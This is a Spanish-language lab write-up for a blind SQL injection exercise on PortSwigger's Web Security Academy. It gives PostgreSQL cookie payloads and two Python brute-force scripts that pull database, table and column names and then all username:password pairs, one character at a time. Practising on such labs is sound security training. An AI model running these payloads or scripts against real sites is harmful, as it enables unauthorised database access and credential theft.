11 - Blind SQL injection with conditional responses

Postgres:

Cookie: TrackingId=KKNUG8ThvyvLfMIx'+AND+SUBSTRING('foo',1,1)='f'+--+-;

Sacamos la primera letra de la primera base de datos:

TrackingId=a'+OR+(SELECT+SUBSTRING(datname,1,1)+FROM+pg_database+LIMIT+1)='§a§'+--+-

Sacamos la primera letra de la primera base de datos:

TrackingId=a'+OR+(SELECT+SUBSTRING(datname,1,1)+FROM+pg_database+LIMIT+1+OFFSET+0)='§a§'+--+-

Sacamos nombres de las base de datos iterando sobre el offset :

#!/usr/bin/env python3

from asyncio import log
import string
from pwn import *
import requests, sys, signal, time, pdb, urllib3
from urllib.parse import quote

def sig_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, sig_handler)

proxies = {
    "http": "http://127.0.0.1:8080"
}

#Variables Globales
characters= string.ascii_lowercase + string.ascii_uppercase + string.digits + '_'
url= "https://0af3003d0390381482d0ba1300ed0005.web-security-academy.net/product?productId=6"

def makeSQLI():
	s=requests.session()
	s.verify = False

	p1= log.progress("Fuerza Bruta")
	p1.status("Iniciando proceso de fuerza bruta")

	time.sleep(2)

	p2= log.progress("Database")

	database= ""
	
	urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

	for position in range(1,12): #Rango 1 - (tamaño database + 1)
		for character in characters:
			payload=f"a'+OR+(SELECT+SUBSTRING(datname,{position},1)+FROM+pg_database+LIMIT+1+OFFSET+0)='{character}'+--+-"
			cookies = {
    			"TrackingId": f"{payload}",
    			"session": "x2qQdmeLG3kmnEjJ74TQmN18zIyPK1Hf"
			}
			p1.status(payload)
			#url = quote(url, safe=':/?&=.,')
			r = s.get(url,cookies=cookies,verify=False,proxies=proxies)
			if "Welcome" in r.text :
				database += character
				p2.status(database)
				break

if __name__ == '__main__':
	makeSQLI()

Sacamos nombre de las tablas iterando sobre offset:

payload=f"a'+OR+(SELECT+SUBSTRING(table_name,{position},1)+FROM+information_schema.tables+WHERE+table_type+=+'BASE+TABLE'+AND+table_schema+NOT+IN+('pg_catalog','information_schema')+LIMIT+1+OFFSET+0)='{character}'+--+-"

Sacamos el nombre de las columnas iterando sobre offset:

payload=f"a'+OR+(SELECT+SUBSTRING(column_name,{position},1)+FROM+information_schema.columns+WHERE+table_schema='public'+AND+table_name='users'+LIMIT+1+OFFSET+0)='{character}'+--+-"

Modificando el bucle externo para que itere sobre las coincidencias y nos permita sacar todos los pares usuario : contraseña de la tabla users

#!/usr/bin/env python3

from asyncio import log
import string
from pwn import *
import requests, sys, signal, time, pdb, urllib3
from urllib.parse import quote

def sig_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, sig_handler)

proxies = {
    "http": "http://127.0.0.1:8080"
}

#Variables Globales
characters= string.ascii_lowercase + string.ascii_uppercase + string.digits + '_' + ':'
url= "https://0a31002d039dad5b84a50fcf00270041.web-security-academy.net/product?productId=10"

def makeSQLI():
	s=requests.session()
	s.verify = False

	p1= log.progress("Fuerza Bruta")
	p1.status("Iniciando proceso de fuerza bruta")

	time.sleep(2)

	p2= log.progress("Contenido")

	resultado= ""
	
	urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

	for offset in range(0,5):
		found=True
		position=1
		while found :
			found=False
			for character in characters:
				payload=f"a'+OR+(SELECT+SUBSTRING((username||':'||password),{position},1)+FROM+users+LIMIT+1+OFFSET+{offset})='{character}'+--+-"
				cookies = {
					"TrackingId": f"{payload}",
					"session": "5sG9HfnXEWQzs2eFolXOUpTFydSLC7ru"
				}
				p1.status(payload)
				#url = quote(url, safe=':/?&=.,')
				r = s.get(url,cookies=cookies,verify=False,proxies=proxies)
				if "Welcome" in r.text :
					resultado += character
					p2.status(resultado)
					position+=1
					found=True
					break
		resultado+='\n'


if __name__ == '__main__':
	makeSQLI()